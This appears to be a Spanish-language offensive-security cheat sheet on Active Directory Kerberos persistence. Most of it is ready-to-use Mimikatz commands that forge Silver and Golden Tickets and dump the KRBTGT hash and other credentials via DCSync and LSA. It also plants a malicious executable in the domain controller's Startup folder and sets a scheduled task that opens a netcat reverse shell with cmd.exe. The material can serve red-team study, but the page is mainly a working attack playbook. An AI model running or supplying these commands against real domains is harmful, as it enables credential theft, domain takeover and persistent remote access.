Persistencia - Kerberos & Tickets

Silver Ticket

Hace uso de Mimikatz para solicitar al DC el uso del servicio CIFS/HOST con la cuenta de Administrator.

# Mimikatz
kerberos::golden /domain:domain.local /sid:SID /target:dc.domain.local /service:CIFS /rc4:RC4 /user:administrator /ptt
Invoke-Mimikatz -Command '"kerberos::golden /domain:domain.local /sid:Administrator_SID /target:domain.local /service:HOST /rc4:RC4 /user:Administrator /ptt"'

Ahora que el ticket ha sido creado e inyectado en el proceso actual (/ptt) podemos utilizar el siguiente comando para abrir un nuevo prompt de comandos desde Mimikatz conservando el ticket.

misc::cmd

A continuación, podemos ejecutar los comandos del controlador de dominio.

#list the C$ share
dir \\\\dc.domain.local\\c$

# Map drive
net use Z: \\\\dc.domain.local\\C$

# Copy malware to Domain Administrator startup folder on DC
copy .\\MaliciousFile.exe "\\\\dc.domain.local\\c$\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"

# CMD 
.\\PsExec.exe -accepteula \\\\dc01.security.local cmd

# Netcat
schtasks /create /sc minute /mo 1 /tn "Persistence" /tr 'c:\\Users\\Administrator\\Downloads/nc.exe IP 443 -e cmd.exe'

Golden Ticket

Un ataque de golden ticket es un ataque posterior al compromiso de Active Directory en el que una cuenta comprometida, como un administrador de dominio o una cuenta con derechos de DCSync que puede volcar el hash de la cuenta KRBTGT, puede crear un ticket dorado que efectivamente da al atacante persistencia y la capacidad de acceder a cualquier recurso en el dominio. Cada vez que el atacante quiere acceder a un recurso puede efectivamente falsificar un ticket para ese recurso en el que puede utilizar para el acceso.

Con los privilegios de DA, comprueba el privilegio de Mimikatz:

Privilege::debug

Ahora tenemos que sacar información relevante de la cuenta KRBTGT para que podamos construir el ataque Golden Ticket.

lsadump::lsa /inject /name:krbtgt

De la salida necesitamos la siguiente información:

  • SID Domain

  • KRBTGT NTLM Hash

Después de obtener esta información necesitamos armar el comando de abajo dentro de Mimikatz.

kerberos::golden /User:Administrator /domain:vuln.local /sid:SID /krbtgt:HASH /id:500 /ptt

Donde:

  • /Usuario: Puede ser cualquier usuario. No es necesario que la cuenta exista para esto.

  • /Domain: es el nombre del dominio

  • /SID: es el SID del dominio

  • /Krbtgt: es el hash NTLM de la cuenta KRBTGT.

  • id: es el RID de la cuenta de administrador que es 500 por defecto.

  • ptt: informa a Mimitkaz para que pase el ticket a nuestra siguiente sesión.

💡 Podemos confirmar si esto ha funcionado comprobando la última línea del out for: Ticket dorado para Administrador @ domain.local enviado con éxito para la sesión actual.

A continuación, podemos crear un shell de comandos independiente utilizando el Golden Ticket con el siguiente comando:

misc::powershel.exe

DCSync -Mimikatz

lsadump::dcsync /domain:domain.local /all
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::lsa /patch

Last updated